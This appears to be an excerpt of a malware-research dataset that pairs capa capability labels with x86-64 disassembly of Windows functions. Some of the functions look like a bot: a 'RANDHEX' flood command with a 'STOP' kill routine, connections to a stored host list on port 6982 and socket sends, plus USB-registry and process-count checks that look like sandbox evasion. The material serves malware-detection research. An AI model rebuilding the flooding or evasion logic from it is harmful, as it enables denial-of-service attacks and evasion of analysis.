joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4026d3
Capabilities:
Send data
Send data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov ecx, 0x800
call sym.malloc
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov r8d, 0x800
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp - 8]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x20], rax
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
mov r8, rcx
mov rcx, rax
call sym.vsprintf
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov rdx, qword [rbp - 0x10]
add rax, rdx
mov byte [rax], 0xa
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.strlen
mov ecx, eax
mov eax, dword [rbp + 0x10]
cdqe
mov rdx, qword [rbp - 0x10]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov dword [rbp - 0x14], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.free
mov eax, dword [rbp - 0x14]
add rsp, 0x40
pop rbp
ret

Function at 0x4027e0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.C:Python27python.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x402809
lea rax, [0x0040c21c]
jmp 0x402873
lea rax, str.C:Python38python.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x40282a
lea rax, [0x0040c21c]
jmp 0x402873
lea rax, str.C:Perl_binperl.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x40284b
lea rax, [0x0040c21c]
jmp 0x402873
lea rax, str.C:WindowsSystem32_telnetd.exe
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x40286c
lea rax, [0x0040c21c]
jmp 0x402873
lea rax, str.Unknown_Port
add rsp, 0x20
pop rbp
ret
Function at 0x402879
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x18]
mov rax, qword [rax]
lea rdx, str.RANDHEX
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x4029c2
cmp dword [rbp + 0x10], 3
jle 0x402aaf
mov rax, qword [rbp + 0x18]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
test eax, eax
jle 0x402aaf
mov rax, qword [rbp + 0x18]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
test eax, eax
jle 0x402aaf
mov rax, qword [rbp + 0x18]
mov rax, qword [rax + 8]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp + 0x18]
add rax, 0x10
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp - 0x24], eax
mov rax, qword [rbp + 0x18]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp - 0x28], eax
mov rax, qword [rbp - 0x20]
mov edx, 0x2c
mov rcx, rax
call sym.strchr
test rax, rax
je 0x402996
mov rax, qword [rbp - 0x20]
lea rdx, [0x0040b052]
mov rcx, rax
call sym.strtok
mov qword [rbp - 8], rax
jmp 0x40298d
call sym.listFork
test eax, eax
jne 0x402975
mov ecx, dword [rbp - 0x28]
mov edx, dword [rbp - 0x24]
mov rax, qword [rbp - 8]
mov r8d, ecx
mov rcx, rax
call sym.Randhex
mov ecx, 0
call sym._exit
lea rax, [0x0040b052]
mov rdx, rax
mov ecx, 0
call sym.strtok
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x40294d
jmp 0x4029c2
call sym.listFork
test eax, eax
jne 0x402ab2
mov ecx, dword [rbp - 0x28]
mov edx, dword [rbp - 0x24]
mov rax, qword [rbp - 0x20]
mov r8d, ecx
mov rcx, rax
call sym.Randhex
mov ecx, 0
call sym._exit
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
lea rdx, str.STOP
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x402ab3
mov dword [rbp - 0xc], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp - 0x2c], eax
mov qword [rbp - 0x18], 0
jmp 0x402a9c
mov rax, qword [0x00414070]
mov rdx, qword [rbp - 0x18]
shl rdx, 2
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x402a97
mov rax, qword [0x00414070]
mov rdx, qword [rbp - 0x18]
shl rdx, 2
add rax, rdx
mov eax, dword [rax]
cmp dword [rbp - 0x2c], eax
je 0x402a97
mov rax, qword [0x00414070]
mov rdx, qword [rbp - 0x18]
shl rdx, 2
add rax, rdx
mov eax, dword [rax]
mov r8d, eax
mov edx, 0
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x38], rax
cmp qword [rbp - 0x38], 0
je 0x402a97
mov rax, qword [rbp - 0x38]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
test eax, eax
je 0x402a87
add dword [rbp - 0xc], 1
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
add qword [rbp - 0x18], 1
mov rax, qword [0x00414078]
cmp qword [rbp - 0x18], rax
jb 0x402a04
jmp 0x402ab3
nop
jmp 0x402ab3
nop
add rsp, 0x60
pop rbp
ret
Function at 0x402ab9
Capabilities:
Connect socket
Convert ip address from string
Get socket status

Disassembly:
push rbp
sub rsp, 0x270
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x200], ecx
mov qword [rbp + 0x208], rdx
mov dword [rbp + 0x210], r8d
mov dword [rbp + 0x218], r9d
mov word [rbp + 0x1d0], 2
mov eax, dword [rbp + 0x210]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x1d2], ax
lea rax, [rbp + 0x1d0]
lea rdx, [rax + 4]
mov rax, qword [rbp + 0x208]
mov r8, rdx
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_inet_pton]
call rax
lea rax, [rbp + 0x1d0]
add rax, 8
mov r8d, 8
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [rbp + 0x200]
cdqe
lea rdx, [rbp + 0x1d0]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov dword [rbp + 0x1e8], eax
cmp dword [rbp + 0x1e8], 0
jns 0x402c96
mov rax, qword [sym.imp.msvcrt.dll__errno]
call rax
mov eax, dword [rax]
cmp eax, 0x70
jne 0x402c8f
mov eax, dword [rbp + 0x218]
mov dword [rbp - 0x48], eax
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x40], 0
mov dword [rbp + 0x1ec], 0
jmp 0x402bd6
mov eax, dword [rbp + 0x1ec]
mov rdx, qword [rbp + rax*8 - 0x38]
mov eax, dword [rbp + 0x200]
cdqe
cmp rdx, rax
je 0x402be1
add dword [rbp + 0x1ec], 1
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jb 0x402bb7
mov eax, dword [rbp - 0x40]
cmp dword [rbp + 0x1ec], eax
jne 0x402c11
mov eax, dword [rbp - 0x40]
cmp eax, 0x3f
ja 0x402c11
mov eax, dword [rbp + 0x200]
movsxd rdx, eax
mov eax, dword [rbp + 0x1ec]
mov qword [rbp + rax*8 - 0x38], rdx
mov eax, dword [rbp - 0x40]
add eax, 1
mov dword [rbp - 0x40], eax
mov eax, dword [rbp + 0x200]
add eax, 1
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x48]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8, rcx
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_select]
call rax
test eax, eax
jle 0x402c88
mov dword [rbp - 0x4c], 4
mov eax, dword [rbp + 0x200]
cdqe
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x4c]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0x1007
mov edx, pe_overlay
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_getsockopt]
call rax
mov eax, dword [rbp - 0x50]
test eax, eax
je 0x402c96
mov eax, 0
jmp 0x402c9b
mov eax, 0
jmp 0x402c9b
mov eax, 0
jmp 0x402c9b
mov eax, 1
add rsp, 0x270
pop rbp
ret
Function at 0x402ca4
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push rbp
sub rsp, 0x230
lea rbp, [rsp + 0x80]
call sym.getIPAddress
lea rax, [rbp - 0x60]
mov r8d, 0x200
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [0x00410040]
test eax, eax
je 0x402cf1
mov eax, dword [0x00410040]
mov ecx, eax
call sym.close
mov dword [0x00410040], 0
mov eax, dword [0x0040a8f8]
test eax, eax
jne 0x402d07
mov dword [0x0040a8f8], 0
jmp 0x402d16
mov eax, dword [0x0040a8f8]
add eax, 1
mov dword [0x0040a8f8], eax
mov eax, dword [0x0040a8f8]
cdqe
lea rdx, [rax*8]
lea rax, [0x0040a8f0]
mov rdx, qword [rdx + rax]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strcpy
mov dword [rbp + 0x1ac], 0x1b46
lea rax, [rbp - 0x60]
mov edx, 0x3a
mov rcx, rax
call sym.strchr
test rax, rax
je 0x402d94
lea rax, [rbp - 0x60]
mov edx, 0x3a
mov rcx, rax
call sym.strchr
add rax, 1
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x1ac], eax
lea rax, [rbp - 0x60]
mov edx, 0x3a
mov rcx, rax
call sym.strchr
mov byte [rax], 0
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [0x00410040], eax
mov eax, dword [0x00410040]
mov ecx, dword [rbp + 0x1ac]
lea rdx, [rbp - 0x60]
mov r9d, 0x1e
mov r8d, ecx
mov ecx, eax
call sym.connectTimeout
test eax, eax
jne 0x402dde
mov eax, 1
jmp 0x402de3
mov eax, 0
add rsp, 0x230
pop rbp
ret

Function at 0x402dec
Capabilities:
Get hostname
Resolve dns

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
lea rax, [rbp - 0x60]
mov edx, 0x50
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostname]
call rax
cmp eax, 0xffffffff
jne 0x402e18
mov eax, 0
jmp 0x402e58
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x402e3a
mov eax, 0
jmp 0x402e58
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov eax, dword [rax]
mov dword [rbp - 0x64], eax
mov eax, dword [rbp - 0x64]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_inet_ntoa]
call rax
add rsp, 0x90
pop rbp
ret
Function at 0x402e81
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp - 0x10], 0
mov dword [rbp - 4], 0
lea rax, [rbp - 0x10]
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
call rax
test eax, eax
je 0x402f2a
mov dword [rbp - 8], 0
jmp 0x402f19
mov eax, dword [rbp - 8]
cdqe
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x10]
add rdx, rax
mov rax, qword [rbp - 0x10]
mov r8, rdx
mov edx, 0x20
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
call rax
test eax, eax
jne 0x402f15
lea rax, str.Failed_to_generate_random_key._n
mov rcx, rax
call sym.printf
jmp 0x402f39
add dword [rbp - 8], 1
mov eax, dword [rbp - 8]
cmp eax, dword [rbp + 0x18]
jl 0x402ed5
mov dword [rbp - 4], 1
jmp 0x402f39
lea rax, str.Failed_to_acquire_cryptographic_context._n
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x10]
test rax, rax
je 0x402f57
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
call rax
mov eax, dword [rbp - 4]
add rsp, 0x40
pop rbp
ret
Function at 0x403890
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x403900
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x004140f4]
test esi, esi
mov rbx, rcx
jle 0x403a30
mov rax, qword [0x004140f8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x40394b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x4039d5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x403930
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x403a52
mov rax, qword [0x004140f8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x004140f8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x403a37
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x4039ce
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x4039e0
add dword [0x004140f4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x004140f8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4039ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x403958
mov rax, qword [0x004140f8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x403ff0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x00414160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00414140]
test rbx, rbx
je 0x40404c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x404043
test eax, eax
jne 0x404043
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x404028
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x404260
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x404278
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x404280
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x404290
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x4042dd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x4042d4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x4042df
add rax, 0x28
cmp rax, r9
jne 0x4042c0
xor eax, eax
ret

Function at 0x4042e0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x404370
mov rdx, qword [0x0040ca80]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x40435e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x40435e
cmp word [rax + 0x18], 0x20b
jne 0x40435e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x404370
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x404349
add rbx, 0x28
cmp rbx, rdi
je 0x404370
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x404340
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x404380
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x0040ca80]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x4043a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x4043a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x4043a0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x4043fd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4043f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4043a0
add rax, 0x28
cmp rax, r9
jne 0x4043e0
xor eax, eax
ret

Function at 0x404400
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x0040ca80]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x40441f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x404428
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x40441f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x404440
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x0040ca80]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x404460
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x404468
ret
cmp word [rdx + 0x18], 0x20b
jne 0x404460
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x4044b0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x4044a7
test rcx, rcx
je 0x404460
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x404498
xor eax, eax
ret
Function at 0x4044c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x0040ca80]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x4044df
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x4044e8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x404500
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x0040ca80]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x404520
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x404528
ret
cmp word [r8 + 0x18], 0x20b
jne 0x404520
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x404520
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x404574
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x404580
add rdx, 0x28
cmp rdx, r9
jne 0x404560
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x404590
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x0040ca80]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x4045b2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x4045c0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x4045b2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x4045b2
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x4045b2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x404615
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x404628
add rdx, 0x28
cmp r10, rdx
jne 0x404600
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x404637
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x404647
mov edx, dword [rax + 0xc]
test edx, edx
je 0x40461e
test ecx, ecx
jg 0x404630
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x14001123a
Capabilities:
Terminate process

Disassembly:
jmp 0x1400137f0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112d5
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014b40
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014b60
xor al, al
jmp 0x140014be1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014b73
xor al, al
jmp 0x140014be1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014b9d
xor al, al
jmp 0x140014be1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014bb1
xor al, al
jmp 0x140014be1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014bc3
xor al, al
jmp 0x140014be1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014bdf
xor al, al
jmp 0x140014be1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400079a0
Capabilities:
Hash data using fnv

Disassembly:
mov byte [rsp + 0x10], dl
mov dword [rsp + 8], ecx
sub rsp, 0x18
xor eax, eax
test eax, eax
je 0x1400079bf
movsx eax, byte [rsp + 0x28]
or eax, 0x20
mov dword [rsp], eax
jmp 0x1400079c7
movsx eax, byte [rsp + 0x28]
mov dword [rsp], eax
mov eax, dword [rsp]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
imul eax, eax, 0x1000193
add rsp, 0x18
ret

Function at 0x140013230
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x98
mov dword [rsp + 0x64], 2
mov dword [rsp + 0x68], 0
cmp dword [rsp + 0xa0], 1
jle 0x140013278
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0xa8]
mov rcx, qword [rcx + rax]
call fcn.140039d20
mov dword [rsp + 0x64], eax
lea rax, [rsp + 0x88]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x6c], 0x20019
mov dword [rsp + 0x70], 0
mov qword [rsp + 0x80], 0xffffffff80000002
lea rax, [rsp + 0x78]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x6c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
lea r8, str.SYSTEMControlSet001EnumUSBSTOR
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x60]
call fcn.140013770
test eax, eax
jne 0x140013342
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
jne 0x14001333c
jmp 0x140013340
xor eax, eax
jmp 0x14001335b
jmp 0x140013346
xor eax, eax
jmp 0x14001335b
mov eax, dword [rsp + 0x64]
cmp dword [rsp + 0x68], eax
jb 0x140013359
mov eax, 1
jmp 0x14001335b
xor eax, eax
add rsp, 0x98
ret

Function at 0x140013540
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
mov eax, 0x1038
call fcn.140017780
sub rsp, rax
mov dword [rsp + 0x20], 0x28
cmp dword [rsp + 0x1040], 1
jle 0x140013586
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x1048]
mov rcx, qword [rcx + rax]
call fcn.140039d20
mov dword [rsp + 0x20], eax
lea r8, [rsp + 0x24]
mov edx, 0x1000
lea rcx, [rsp + 0x30]
call sub.KERNEL32.dll_K32EnumProcesses
test eax, eax
jne 0x1400135a2
xor eax, eax
jmp 0x1400135cd
mov eax, dword [rsp + 0x24]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x20]
cmp dword [rsp + 0x28], eax
jb 0x1400135c7
mov eax, 1
jmp 0x1400135cd
xor eax, eax
jmp 0x1400135cd
add rsp, 0x1038
ret

Function at 0x14001aed4
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14001aee7
add rsp, 0x48
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx edx, ax
lea rcx, [rsp + 0x20]
or edx, 0x80070000
test eax, eax
cmovle edx, eax
call fcn.14001b54c
lea rdx, [0x140067b90]
lea rcx, [rsp + 0x20]
call fcn.140036270
int3

Function at 0x140025ba4
Capabilities:
Set thread local storage value

Disassembly:
mov ecx, dword [0x14004ce08]
xor edx, edx
jmp fcn.14001aed4